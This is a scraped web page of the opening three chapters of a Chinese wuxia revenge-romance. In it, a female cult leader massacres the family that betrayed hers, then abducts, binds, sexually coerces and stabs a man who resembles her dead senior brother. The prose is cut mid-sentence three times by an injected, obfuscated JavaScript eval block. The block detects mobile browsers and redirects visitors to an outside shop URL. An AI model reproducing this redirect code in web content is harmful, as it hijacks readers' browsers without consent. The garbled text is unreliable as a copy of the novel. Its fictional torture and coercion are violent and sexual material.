《病娇训狗,得心应手》 1. 第 1 章 章和六年春,三月初七。 鄣郡故鄣县。 黄昏时候,春雨淋漓。街头巷尾早没了叫卖声,倒是有几个稚龄童子淋着细雨踩水,一脚溅起无数的欢声笑语。 “请问青枝巷柳府是在这里吗?”一道清悦好听的声音突然响起,几个小童登时愣在了原地,回过头去瞧说话那人。 只见来人一身玄色麻衣细折裙,腰间缀着一条月白色丝绦,黑白分明之间,手里握着一把猩红的油纸伞,莫名的艳丽又诡异。 “是啊,你找谁?”离得最近的小童往前凑了凑,试图从伞面下将人看得更清楚。 女人将油纸伞往上抬了抬,上下细细打量了他一番,笑着问道:“你是柳家人?” 这一抬之下,露出些许的面容。小童登时愣在了原地,脸上还带了些许的赧然和羞涩:“是......是的。” 女人笑了笑:“那你家十三口人可都在?” 小童脸上的羞红之色还没退去,脊背就跟着一凉,下意识后退了几步,颇为警惕道:“你要做什么?” 女人始终笑眯眯的样子,甚至语气婉转和蔼:“去给你父亲传信,就说万花庄的故人前来拜访。” 小童瞪着眼睛又看了她一眼,转身撒腿就跑,一把推开大门又慌忙关上。咔嚓一声,似乎还落下了锁。 其余几个童子也觉出了气氛不对,对视一眼,跟着一齐四散跑开。其中一个小姑娘被撞了一下,啪唧摔在地上,呆了一瞬跟着呜呜哭了起来。 谢稚轻笑一声,垂眸望着她:“再哭就把你的舌头割掉。” 小姑娘一下子咬住下唇,不敢发出声音了。 女人唔了一声,不知从哪里摸出了一块饴糖,递给她:“乖!” 小姑娘懵懵懂懂地看了看女人掌心的饴糖,又仰头看了看女人幽深的眼睛,咽了咽口水,一把推开女人手臂,翻身爬起来就跑。 女子笑容一顿,眯眼看向掉在水坑里的饴糖,俯身捡了起来,拨开外面湿了的糖纸,里面的饴糖果然脏了。不过,女子却没有半分嫌弃,擦了擦有些脏污的地方,然后自然的放入自己口中:“果然,会稽的饴糖还是这样甜。” 正说着,一道信号弹在柳家府邸的上方炸开。可惜刚冒出房檐就被雨水浇了下去,没能炸出什么花来。 “柳奋想叫些什么人过来啊?”女子在口中转了转饴糖,声音变得含糊不清。 “这里临着武林盟东姑坞,估计是想叫东姑坞的掌教吧。”一道好听的少年音在女人身后响起,可是却丝毫不见说话之人的身影。 “喻长辞?”饴糖在唇齿间慢慢化开,带出丝丝缕缕的甜味,女人抬了抬下巴,目光深望着眼前的大门,幽幽道,“他若是能来,倒省了我去寻他的麻烦。” 女人一边说着,抬袖一挥,只听咔嚓两声,大门连带着门栓一齐断裂朝着里头飞去。 倒座房里闻声出来的几个丫鬟小厮,连一声呼救都没来得及叫出,就被不知哪里出现的黑衣少年给抹了脖子,悄无声息,鲜血混着雨水湿红一片。 柳奋这个时候已经到了正厅门廊,见此场景厉声喝道:“来者何人?” “柳叔父,不过六年不见,您就忘了阿无了吗?”女人声音婉转,步履款款,看起来不快,可呼吸之间,已经穿过了垂花门,走过游廊,停在了内院正中间。 柳奋瞳孔一缩,整个身子都剧烈震颤起来,手中的长刀几乎再提不住了:“谢家阿稚,你你你......你没死?” 一旁的柳夫人也瞪大了眼睛,牙齿颤个不停,却一句话都说不出来。 谢稚慢慢抬起伞面,露出一张清艳绝色的面容,肌肤如雪,乌发如云,下颌尖尖,轮廓柔顺,就像谁家养在深闺的闺阁女儿。可是那一张唇却艳丽得很,鲜红如血,同女人手中伞面的颜色没有什么区别。 谢稚望着他夫妇二人温柔道:“您还没死呢,我怎么舍得就此死了呢?” 柳奋大叫一声,提刀就冲了上来。谢稚脚下一点,从他身侧就滑了过去,跟着手指接过一滴雨水,翻腕一转,雨水径直朝着柳夫人额心轰去。不过瞬息之间,柳夫人就直接倒在了地上。 “夫人!!” 柳奋眼瞧着自己夫人惨死在面前,眼瞳登时涌出血丝,嘶吼着再一次朝谢稚扑来。 谢稚笑嘻嘻的躲闪开,柔声问道:“刚刚那小童是你的小儿子?” 柳奋心下一颤,手中长刀也没了什么章法:“一人做事一人当,你若为谢兄报仇,只管杀了我就好,何必......何必牵连这么多的无辜?” 谢稚面不改色的哦了一声,笑着反问道:“那当年我万花庄一百三十二条性命,不也同样无辜吗?柳叔父可有想过放他们一条生路?” 柳奋闭上了嘴,知道今日性命休矣,只盼着再拖延这女魔头片刻功夫,让他的儿能跑远一些,再远一些。 谢稚如何不知道他在想什么,冷笑一声,旋身一脚将人踢向廊柱。 柳奋噗的吐出一大口鲜血,但是右手仍旧握着长刀颤巍巍的站起身:“阿无,当年之事是我对不起你家,但是......我也是迫不得已。你父亲锋芒毕露,得罪的人太多了......” 谢稚呵了一声,手指捏着伞柄转了一圈,轻飘飘道:“所以,柳叔父就把我爹卖给了武林盟?” 柳奋刚要说话,就听到一声尖锐的哭声:“爹!救我!!” 柳奋循声看了过去,只见他那小儿子被一黑衣少年抓着后颈衣服,从西耳房慢悠悠走了出来。 柳奋几近目眦尽裂:“没有!不是我!即便当年谢兄他再信任我,也不可能告诉我他同魔教私通之事,更不要说明绰诀之事了!” 谢稚哦了一声:“不是你?可是当年事发的前夜,只有你一个人在离开万花庄之后......去了武林盟。” 柳奋咬牙:“当时朝廷联系我,希望我说服谢兄归顺。可是他拒绝了,我只好离开。那天在万花庄不过半个时辰的时间,我如何探得那么多的消息,进而跑去武林盟首告?” 谢稚冷睨着他:“也就是说你根本没有见到左之临的一双儿女?” 柳奋咬了咬唇,眸中闪现一丝挣扎。 谢稚斜了那小童,黑衣少年已经手指利落的削了小童一个耳朵,顿时惊起一片惨叫。 “爹!!” “不要!” 柳奋踉跄着朝小童方向跑去,跑了两步之后又转头看向谢稚,面露祈求:“阿无,你曾经是看着承明出生的,也给他送过平安锁!求你!叔父求你,不要伤害他。” 谢稚低垂着眸子俯视他:“所以,你看到了吗?” 柳奋通红着眼摇头:“没有!我什么都没有看到!都是喻长辞让我说的。” 夜风倏地一卷,不过三两下就将天边残余的微光吞没了。 整个柳府只剩下黑黝黝的暗沉和死寂。 不知过了多久,谢稚才一字一顿道:“所以,也根本没有什么明绰诀?这一切,都是武林盟自导自演出来的一场好戏。” 柳奋连忙摇头:“不!明绰诀似乎真的有。不过,谢兄临死之前将它藏了起来,武林盟的人后来几次三番的到万花庄去找,可这么多年来好像一直都没有找到。” 内院再次陷入沉默。 “苏璟呢?他......为什么也背叛了父亲?” 柳奋再次摇头:“我也不知道。我只知道他跟皇室关系匪浅,就连武林盟主在私下里都对他毕恭毕敬。” 谢稚似乎愣住了,目光变得些许幽长:是啊,有着那样雍容气度的人,自然该是贵族出身。 “那他怎么会死了呢?”谢稚不知道自己是在问柳奋,还是在问她自己。 柳奋低垂下眸子,声音沙哑:“阿无,若没有发生当年那件事,你该早已经嫁给他为妻了吧?可惜......世事弄人。可是,苏璟对你应该是真心的。当年事发之时,苏璟应该是想回万花庄带走你。可惜,走到杞山的时候突然遭了埋伏,最后死在了杞山......” 柳奋的声音越来越低,说到最后,语气里尽是遗憾和嗟叹。可也就是在这个时候,惊变突起。柳奋手掌在地面一拍,朝着女人脖颈掐去。 谢稚涣散的目光就在瞬息之间凝聚,唇角跟着勾起一丝嘲讽的微笑。 柳奋心下一突,只听到嘎吱一声脆响,再没了任何声息。 小童呆了半响,才破开喉咙叫道:“爹!” 谢稚松开手中男人,转过身头也没回道:“送他一家团圆去吧。” 这个时候已近戌时,不过因着连绵的阴雨,如同深夜。谢稚走了没几步,脚步一停,歪头朝着柳府门口那一棵大槐树看去。 只见方才那个小姑娘双手紧紧的扒着树杈,似乎将柳府中那一幕看得清晰。如今瞧见谢稚看过来,身子冷不丁的哆嗦一下,死咬着下唇一声不吭。 黑衣少年自然也瞧见了:“尊主?” 谢稚收回视线,当作没有看到:“晏白,事情做了,总得有人传出去。不然,那些心虚的、作祟的、浑水摸鱼的,又该去哪里寻找呢?” “是。” “夜深了,别巍也该将人带回去了吧。” 听见这话,晏白面色有些不太好看,冷哼一声,没有说话。 “咚”一声梆子响,三更了。 四周很安静,静得几乎听不到任何声音。铜炉里烧起来的檀香味道行云流水一般,绕过屏风高架,玉瓶石榴尊,落入重重纱幔之中,熏得人昏昏欲睡。 可谢稚却没有半分困意,她直勾勾地盯着床上昏睡着的男人,一动不动如同雕像。 哪怕这已经不是她第一次见到这个男人了,可那种惊诧掺合的贪嗔痴恨,仍旧如同啮虫咬中心尖一般,时不时的抽痛一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282242|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不是苏璟。 即便再是相似,谢稚也清楚的知道——他不是苏璟。 苏璟已经死了。 是她亲自验的骨。 森森白骨,早已经不成样子。只有那一处曾经为她摔的骨伤,证明了那个男人......是真的死了。 死了足足有七年之久。 可他怎么能死呢? 她还没有向他报仇,他怎么敢死?!! 谢稚的目光变得尖酸、锐利、怨恨,还有某种深不见底的悲恸。 眼前的男人和记忆里的男人似乎重合在了一起,一瞬间掀起重重巨浪。 谢稚的手指已经摸上了男人的脖颈,动作轻缓温柔,可是周身却无风自起,将重重白纱吹乱一团。 就在这个时候,那双紧闭许久的双眼终于睁开了。 睁开的一刹那,他的主人露出些许的迷茫。偏头看了看谢稚,又重新安静的闭上眼。 不过片刻功夫,男人再次睁开眼,目光清明了许多,声音里带着几分迟疑,还有刚刚苏醒的沙哑:“谢姑娘?” 他的声音远比容貌更让谢稚迷惑。男人的音色似乎同记忆中的那个人似乎别无二致,只是更多了些许的低柔和煦,如同春风一般将人溺入水底。 她慢慢抽回手,目光深情的望着他,可是声音却寡淡而清凉:“容公子,本座记得白日里特意提醒过你,不要再让我看到你。” 容峋的目光彻底清明过来,他坐起身看了看四周,又深深的望向谢稚:“如果我没有记错的话,在下睡前还是在自己的院中。” 谢稚抽回手,哦了一声:“那公子是如何到了我的床上?” 哪怕谢稚说的如此露骨,容峋的面色也不见丝毫变化:“抱歉,容某也不知。” “哦?难道不是容公子特意来自荐枕席的吗?”谢稚低垂着头,唇角带起丝丝缕缕的笑意。 男人盯了她片刻,方才开口:“不是。” 屋内没有点半分烛火,只有些微月光穿过朦胧般的雾气和重重帷幔,落至床头平添旖旎。 男人当真是生了一副好容色,面白如雪,好似常年不见日光,眼下却晕着淡淡的红晕,看起来病弱又无害。双眉向上,眉骨微突,眉峰渐起却不凌厉,反而因着一双含情目,显得男人温情脉脉。 柔和,温润,不见锋芒。 其实,他也不是那么像苏璟。 倘若她这样对苏璟的话,苏璟早已经怒极了。或许会同她吵起来,也或许会同她打起来。完全不像这个人,有种一拳撞到棉花上的感觉。 谢稚有些遗憾的想着,这个人虽说五官同他有几分相似,却也不过形似而已。 终究是除却巫山非云也。 谢稚心思一下子就淡了下去,语气里也少了几分的兴趣,淡淡道:“倘若不是的话,那容公子该如何解释你出现在本座屋里这件事?” 容峋目光始终注视着女人,听到她这话,缓缓开口:“难道不应该是谢姑娘同我解释吗?” 谢稚笑了,重新看向他。 果然,这张脸还是有些脾气......才好。 有了脾气的容峋,就好像苏璟重新活在了她的面前一般。 室内点着的阇提华香慢慢传了过来,馥郁、浓厚,如深渊溺海夺人神魂。谢稚慢慢俯身,再次入了床幔,膝盖一点一点往前凑去,声音低哑:“你想我给你什么解释?” 帐中温暖,容峋雪白面色浮起些微的红晕,他随着女人的进攻姿态朝后退去,可床幔之间也不过方寸大小,直到脊背靠上了床壁才停下动作,身子紧绷,耳根发红,色厉内荏:“谢姑娘派人将我掳来,究竟想做什么?” 谢稚低笑了一声,手指捏上男人通红的耳垂,摩挲道:“质问人,这副表情可不行。” 离得近了,她似乎闻到了一股不同于她熟悉的馥郁沉香。冷冽、浅淡,如同矗立于冬日晨雾中的亘古雪松,药而弥香。 是容峋的味道。 好像也有些像那个人。其实她已经记不太清了,只记得是一种不同于万花庄的——很好闻、很清冷的香气。万花庄常年花木葳蕤,奇香馥郁。常年沉浸在暖香世界中的少女,乍然撞进那冷香中,就再也挪不开视线了。 谢稚闭上了眼睛,鼻尖贴着男人的脖颈向上,明明没有碰到任何肌肤,却比肌肤相碰还要蛊惑人心。 没有人说话。 只有沾染了风花雪月的沉默慢慢扩延,扩延......它让两个人的呼吸声变得越来越急促,沉重。 “够了!” 容峋似乎终于到了忍耐的边缘,抬手就要推开谢稚。可是谢稚已经先一步攥住了他的手腕,将其按在身后的床壁之上,鼻尖相碰,双唇却微微隔了些距离,呢喃低语:“怎么会够呢?不够啊。” “一点儿都不够啊......” “师兄。” 2. 第 2 章 夜风顺着窗棂呼啦一声吹进来,将帐中刚刚升起的旖旎温度生生吹冷了下去。 容峋脸上红潮瞬间如潮水般退去,声音也不复之前的温和,生了冷意:“你看清楚我是谁。” 谢稚仍闭着眼,可动作却没停,只是从喉咙深处发出一声喟叹:“我知道你是谁。” “你是容峋。” 说着,女人歪头蹭了蹭他的脸颊,动作亲昵而柔软:“你不是他。” 容峋垂着头看她,那双清浅的凤眸如同浸在冰雪里的琉璃,平静剔透。 “他没有你这样乖,这样......”谢稚睁开了眼睛,带着几分童真般的思考上下扫了他一眼,“活色生香。” 容峋抿紧了唇,方才还算粉润的薄唇泛起浅白,如同在拼命忍受什么。 谢稚目光落了下去,直勾勾的盯着他的唇瓣,直白的让容峋脸上再次起了薄红。 他猛地偏开头,紧跟着就重重咳了起来。一声一声,几乎要把五脏六腑都要咳出来了。 谢稚慢慢松开手,隔着一段距离冷眼瞧着他,口中怜惜道:“你的身子着实差了些。” 容峋没有理会她,一直等缓了咳意,才缓缓抬头撩了她一眼,没有情绪,却让谢稚心下再度起了波澜。 世上怎么会有这样相似的两个人?就连瞪向她的眼神,都这样相似。 容峋看到女人的面色再次恍惚起来,扯了扯唇角:“比不上谢姑娘的师兄。” “是啊,他的身体一向很好。可又有什么用呢,不还是死了吗?”谢稚说到最后,语气里尽是咬牙切齿。 容峋不再说话,目光平和的看着她,幽深沉静之中似乎带了些许的可怜。 谢稚对上他的视线,瞬间眯起了眼睛:“你在可怜我?” 容峋看着她,声音恢复白日里的平淡:“姑娘用不着我可怜。该可怜的人,也不该是姑娘。” 谢稚心头刚刚升起的暴虐之气瞬间消弭于无形,居高临下的望着他:“哦,那该可怜谁呢?” 容峋被折腾了这么一遭,脸上早已泛起了病弱的潮红,如今斜靠在床角之间,微微一笑,露出几分任人施为的慵懒媚态:“自然是在下。平白遭此无妄之灾,难道不值得可怜吗?” 谢稚被他逗笑了。 她的指尖慢慢向上滑到了男人的眉眼,语气喃喃:“你同他真的很像。” 容峋安静的闭上眼,任她动作:“是吗?” 谢稚又迷恋又厌恶的看着眼前这人,手指自上而下,一寸寸滑到他的下颌位置,倏然一把捏住抬高:“是啊,像极了。” 女人的呼吸就在咫尺之间,两个人凑得极近,气氛暧昧,却没有一点儿碰触。 “虽然荣幸,但却着实不是一件好事。”男人的语气仍旧平和。 谢稚笑得开心,身子一动已经翻身压了下去,双腿跨坐在男人身上:“又不太像了,你比他有趣多了。” 容峋终于睁开眼睛,那双清浅的琥珀色凤眸仍旧试图维持着平静模样:“谢姑娘,自重。” 谢稚轻笑了一声:“自重?这个词我倒是从没学过。不如,你来教我......如何自重?” 话音落下,谢稚双手攀上男人脖颈,一寸寸朝着男人逼近。不过三两息的时间,谢稚似乎感觉到了身下有什么东西起来了,低笑一声,故意用力一夹,双腿更紧的锢住男人劲腰:“只是,该自重的人不是我吧?” 春日衣衫单薄,两个人贴在一起,有任何变化都能瞬间感觉出来。 容峋眼里的平静彻底破碎了:“玩火自焚的道理,谢姑娘不会不知道吧?” 谢稚哦了一声,手指流连向下摸到男人的领口位置,语气低柔:“我自然知道,可问题是......容公子玩得起吗?” 容峋眸子瞬间深了下去,他一把攥住女人的手腕,哑声提醒道:“谢姑娘真的想玩吗?” 谢稚抬眼瞧他,男人清亮的眸光里盛出不同以往的深色。 有些像他,但她又清晰明了的知道不是他。 谢稚没有说话,只是低头咬了一下她的手背,力道不轻不重,眸光却如钩子一般始终凝视着他。 咬上他的瞬间,谢稚明显感觉到男人的呼吸一下子乱了。 谢稚垂下眸子,看向她方才咬的那一处,雪白如玉,不见丝毫瑕疵。可是这个时候却多了道微红的牙印,还有些许涎液顺势留下,莫名的淫靡。 “你觉得呢?” 容峋视线同她撞在一起,如浪起深渊:“谢姑娘,慎重。” 谢稚没有说话,仰头一口咬上容峋的喉结。 “唔......”男人浑身的肌肉瞬间一紧,从喉咙里再抑制不住的发出一声低哑的闷哼。 性感至极。 谢稚松开又咬住,声音含混不清:“你的呼吸彻底乱了。” 容峋攥着她的手力度陡然加大,声音也哑得厉害:“谢姑娘......” “叫我谢稚。” 谢稚顺着那一处向上轻咬,一直咬到男人的耳垂,容峋才好似如梦方醒一般,握着女人的手翻了个身,将人压在身下,再一次提醒道:“谢姑娘,自重。” 谢稚任由他攥着自己的双手按在两侧,笑眯眯的望着他:“柳下惠再世,怕是也比不过容公子。” 容峋撇开脸,避开她直勾勾的视线:“今夜是峋打扰了姑娘休息,得罪之处还请见谅。如今天色已晚,峋先行告辞了。” 男人说完之后,匆匆松开谢稚,就要下床。可是还没等他离开,谢稚一把拽住他的衣袖,重新将人拉了上去,跟着上下颠倒了个位置。 “跑什么?”谢稚稳稳坐在男人腹前,眉目清淡,语气也平淡了许多。 容峋偏过头去看向一侧,不吭声了。 男人面庞柔和,线条流畅,哪怕气极了,也几乎瞧不出什么锋芒和凛冽。 谢稚握着他的下颌,将他转向她的正脸。容峋乜了她一眼,干脆闭上了眼睛。 谢稚被他气笑了:“好啊!容公子不想看也好。听说人在看不到的时候,其他感知会更敏锐一些,也会......更诚实一些。” 容峋猛地睁开眼睛,只听“撕拉”一声,一截纱幔缓缓落下,跟着又慢条斯理的覆上他的眼睛。容峋一把抓住那截纱幔,终于袒露出几分情绪:“你究竟想如何?” 谢稚浑不在意他抓住的那一截,手腕一转,已经把那截纱幔在他的腕间缠了数匝。容峋拧眉:“你做什.....” 话没有说完,容峋已经知道她要做什么了。 谢稚将捆着的纱幔往后一拉绑在身后的架子床立柱上,就在他震惊的同时,女人已经如法炮制的将他另一只手一同捆了上去。 不知道女人打的是个什么结,容峋越是挣扎,那个结扣得就越是紧。短短时间,男人的手腕就勒出深深浅浅的红痕。 容峋眼尾通红,眼眸里更是气出了一片水光:“谢稚!” 男人的声音终于急了,还带了几分怒意。这个人终于不再是那副平静如死水一般的模样了。 这个声音,这个称呼......好像,好像...... 谢稚双眼也红了,低低应了一声:“继续。” 容峋愣了一下,方才意识到她是什么意思,屈辱一般死死咬住唇。 谢稚拇指抚过他的唇瓣,然后以一种温柔且不容拒绝的力度探了进去:“继续叫我。” 容峋张开了口,可是没有喊她,而是一口咬上了她的手指。 这一下没有丝毫留情,当即咬出了鲜血。 谢稚低笑一声,任由他咬着:“我的血......对你是好东西。多吃点,别浪费了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282243|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >容峋瞪着她的眼睛一呆,最终咬着的力道一松,无力般的吐出她的拇指,偏开头重新闭上了眼。 “自暴自弃了?” “也好,如此就省了我诸多手段。” 容峋面色不变,似乎已经不为所动了。 谢稚微挑了挑眉,手指从他的下颌、嘴巴、鼻头一直点到眉毛、头发之上,最后袖子一拂,女人摘下了他的发簪,银冠随之滚落下去,可是没有人管它。 谢稚以尖端往下,比着男人的眉眼、薄唇,一直到下颌、脖颈,最后藏于领口深处。 银簪质凉,而胸口是人体最热的位置。 冷热相碰之间,容峋眼皮忍不住一跳,不过始终没有睁眼。 谢稚轻笑一声,重新握住银簪出来,一直向下到了腰间蹀躞带的地方。 不过轻轻一划,蹀躞带就顺着身体弧度从两侧滑了下去。 容峋如何感觉不到她在做什么,刚刚平复下去的呼吸又是一错。 谢稚饶有兴趣的观察他的微表情,可越看越是愣神。难道长得相似的两个人,就连一些细微表情也可以相似到这个程度吗? 女人许久没有动作,容峋胸口起伏平复下去,似乎松了口气。 谢稚何等耳力,被那声近乎于无的喟叹立时拉回了神来:“容公子,这口气松的有些早啊。” 容峋嘴唇微抿,面色又冷了一些。 谢稚勾了勾唇,继续手下的动作。一寸一寸从领口挑开衣衫,直到在胸口位置,她的所有动作一下子就停住了,就连呼吸都变得轻薄起来。 银簪尖锐的尖端突然陷入皮肉之中,猩红的一点鲜血从皮肤之下渗出,如同红梅一样耀眼。 谢稚的目光从男人胸前左侧的那颗朱砂痣移到他的脸上,容峋眉头微拧,似乎有些疼。 谢稚一下子松开银簪,手指轻轻碰上那一处朱砂痣。 小心翼翼的,如同在碰触帝王的传国玉玺一般,浑身颤得不成样子。 她突然觉得喉咙有些干,突如其来的干渴让她心下莫名生了恐惧。 她的手指始终停在那颗朱砂痣的上方,有些想碰触,又有些不敢碰触。 忽然,谢稚像是想起了什么一般,一把扯开他的所有外袍,将男人的上身彻底显露出来。 男人看起来削瘦清癯,内里筋骨却恰到好处,腰腹紧实,肌肉分明,线条流畅,美得如同一块触手温凉的暖玉。 一切都是好的。可是不对,他不该是完好无虞的。 一瞬间,刚刚所有的急切,重又缓慢下来。 是啊,怎么可能是他吗? 不可能是他的。 她亲自验的骨,又亲自将其挫骨扬灰了。 不会是他。 方才那一处的朱砂痣,也不过是偶然罢了。 可既然已经如此相像了,那合该再像一些。谢稚脸上的温软笑意瞬间倾泻而去,一把抓住方才的银簪狠狠刺了下去。 “唔呃......”容峋猛地睁开眼,只看到一汩血色溅到了谢稚的脸上。 谢稚舌尖缓缓舔过唇上的鲜血,眉眼弯弯,动作温柔的从男人身上拔下银簪:“好了,不疼了。” 那一处仍在汩汩流着鲜血。 银簪端口虽小,却扎得深入。这一下,女人没有丝毫留情,几乎将人捅了个对穿。 容峋脸色惨白,眼神却如寒冰一般刺了过去。 谢稚没有看他,低垂着眸子似在打量那一处的伤口同之前的相似程度。半响,女人摇了摇头,握着银簪顺着伤口向右滑去,缓慢而有力。 容峋这一回死死咬住了唇,没有发出半声呻丨吟。 谢稚稀罕的抬眸瞧了他一眼,温柔道:“疼就叫出来,没有关系的。” “这里只有你和我两个人。” “不会有人笑你的。” 3. 第 3 章 容峋疼得脸色惨白,浑身颤抖,只是强撑着力气没有昏过去。 谢稚叹息一声,松开染尽鲜血的银簪,指腹沾过一点儿鲜血抹到男人唇上,从中间的唇珠位置往右一滑,可惜男人偏开头躲开了。血色顺着嘴唇滑到了脸颊之上,如同雕玉沁血,艳丽又惹人怜惜。 谢稚翻身下床,着人拿了些止血药和绷带过来给人处理了伤口,又喂了颗回春丹才放下心来。 “容峋?” 容峋似乎昏过去了一般,没有任何回应。 谢稚叹了一口气,捏过一方干净的帕子,细细的给男人擦拭额头汗水,声音温和低柔:“还疼吗?” 容峋仍旧没有反应。 谢稚眷恋的摸了摸他的眉眼:“以后不会这样疼了。” 容峋唇角缓缓扯了个讥诮的冷笑。 谢稚不在乎他的冷脸,相反,他越是生气冷漠,她就越开心。 这个人太平静了。只有在生气的时候,才同苏璟有几分相似。 谢稚本来不想折腾他,可她太想念苏璟了。 七年...... 两千五百五十八个日日夜。 这么长的日日夜夜里,她都是带着对他的恨熬过来的。 如今,她终于熬出来了。 她终于可以回到中原......找到他,折磨他,再杀了他。 可是,苏璟怎么就能死了呢?还是死得那样轻易。 谢稚掐着容峋的下颌,神色有些癫狂,也有些迷糊:“师兄。” 容峋刷的睁开眼睛,面孔虚弱,可眸中都是凶意:“谢稚,你若是再对着我喊一句师兄,我就将这张脸毁了。” 谢稚清楚的知道他是谁,她只是有时候想对着这张脸喊一喊那个人罢了。 女人莞尔一笑,重又恢复温婉模样:“那可不行。” 谢稚一边说着,一边轻轻擦去男人唇上血渍,又反复摩挲:“你的嘴巴好干。” “渴了吗?” 话音落下,谢稚已经起身给他倒了一杯温水过来,“乖,喝一口。” 容峋看了眼女人手中的水杯,没有说话,勉强撑起身子坐了起来。 谢稚微笑着给他送到唇边:“不怕我在里面下毒?” 容峋就着她的手一口饮尽,声音温凉:“最好入口即毙。” 谢稚笑着将水杯扔回茶桌之上,语气缠绵:“我怎么舍得呢?” 女人说完之后,手指一翻,已经将外衫褪了下去。 容峋眸光颤了下,最终什么话也没说,安静的收回视线躺了回去。谢稚轻笑一声,跟着上了床:“妥协了?” 容峋平静的看着头顶帷帐:“除此之外,我还能做什么呢?” 谢稚曲轴支颌,双眼弯如弦月:“容公子,你能做的......远比你想象到的还要多。” 容峋闭上眼睛:“我累了。” 谢稚嗯了一声,好脾气道:“我知道,你睡吧。” 容峋当真呼吸越来越缓,最终睡了过去。谢稚仍旧望着他,低哑出声:“晏白。” “尊主。”窗棂之上现出一道深色身影,侧脸料峭,语气沉闷。 “这个男人的背景还没有查出来吗?”谢稚勾住男人的一缕发丝在指间反复勾缠,目光没有移开一分一秒。 “没有。一年前的所有经历,都查不到。尊主,这个人只怕不简单......”晏白这句话中带着几分忧心。 谢稚望着他这张脸,缓缓勾了勾唇:“无妨。即便他是大雍皇帝,我也不会放了他。” 晏白一时沉默了下去。 夜风簌簌,吹得窗外海棠落了一地雪白。 谢稚手指微微一动,点中了男人睡穴。这个时候,她才慢慢道:“东姑坞那边来信了吗?” “来了。一切就绪,只等尊主了。” 谢稚终于露出今晚最真实的一抹微笑:“好。那明晚,就让我们去会一会这位大名鼎鼎的东姑坞掌座吧。” “是。” 晏白又在门外停了一瞬,方才离开。 一切都恢复平静。谢稚慢慢躺回到容峋身边,手指摩挲着男人眉眼良久,最终将额头抵在男人颈窝,闭上了眼睛。 她原本以为自己不会睡着,可是等她再次醒来,天已经大亮了。 身侧是同样沉睡的容峋。 谢稚猛地坐起身子,面色如冰,双眸警惕,声音也寒冽下来:“晏白。” 晏白在外等了一夜,听见女人出声,直接推开门闯了进来,不过到底没直接走到床前,而是隔着屏风问道:“尊主,怎么了?” 谢稚神色凝重道:“昨晚......一切正常?” 晏白愣了一下,点了下头:“尊主,发生什么事了吗?” 谢稚没有说话,目光落到仍在沉睡的容峋脸上。 她昨天已经摸过了男人的脉相,虚弱沉浮,毫无内力。 不可能是他。 倘若这个男人真的有那样的功夫,昨晚她那样对他,他不可能还能忍得下去。 可她这么多年从来没有睡得这样沉过。 一觉到天明......呵,她若是真的敢这样睡下去,那她的坟头草只怕好几年前就三米高了。 可若不是他......她怎么能睡这么久呢? 谢稚阴晴不定的看着床上的男人,慢慢出声:“晏白,我昨晚睡的很好。” 晏白抬头透过屏风看了眼床上的女人,又垂下头去,声音酸涩又沉闷:“嗯。” 谢稚继续道:“可这么多年,我从来没有睡过一个好觉。如今倒是稀罕了。” 女人声音平淡,古井无波。 晏白猛地抬眼,刷的一声拔出长剑:“尊主,这个人绝对有问题。” “停......你这是做什么?难得遇到这样和你主子心意的人形睡枕,不好好供着,你还想动手动脚?” “可是尊主......” “出去吧。” “尊主!” “出去。” 谢稚的声音平静,可是晏白却知道她心下已经有了决断。 晏白咬了咬牙,转身出去。 “哐当”一声,房门重重被关上。 谢稚没有理会手底下人的情绪,而是抬起身子凑上前去,红唇几乎贴着男人的薄唇一字一句道:“容公子,偷听别人说话,可不是君子之道。” 容峋慢慢睁开眼睛,双眸清明,声音却还带着晨起的沙哑:“没有偷听。” 谢稚弯起眉眼:“光明正大的听吗?” 容峋偏了下头,薄唇擦着女人唇瓣又扫过脸颊,一触即离。 两个人都愣了下,容峋喉头微微滚动了下:“抱歉。” 谢稚眨了眨眼睛,回过神笑道:“这种事情同我道歉?难道不是我占了便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282244|151883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜?” 容峋耳根已经微微泛红了,脸上却还勉强保持着平静。谢稚眸波流转一圈,慢慢起身:“昨晚睡的好吗?” 容峋声音如常:“托谢姑娘的福,睡得不算太好。” 谢稚却回过身朝他笑了下:“托容公子的福,我却睡得很好。” 容峋自然听到了方才那两个人的对话和怀疑,望着她平静道:“可惜,谢姑娘却不觉得是一件好事。” 谢稚低下身子同他笑道:“是好是坏,端看从什么角度来看了。” “虽然于我不是一件好事,但于容公子来说......未必是一件坏事。” 容峋挑了下眉,等着她的下文。 谢稚望着他这副容貌满意的勾了勾唇,凑到他的耳旁,张口重重咬了一下:“容公子可以在我沉睡之后趁机杀了我,如此也能轻松逃脱魔爪。” 容峋眸光一颤,闭上眼睛懒得理会这个女人。 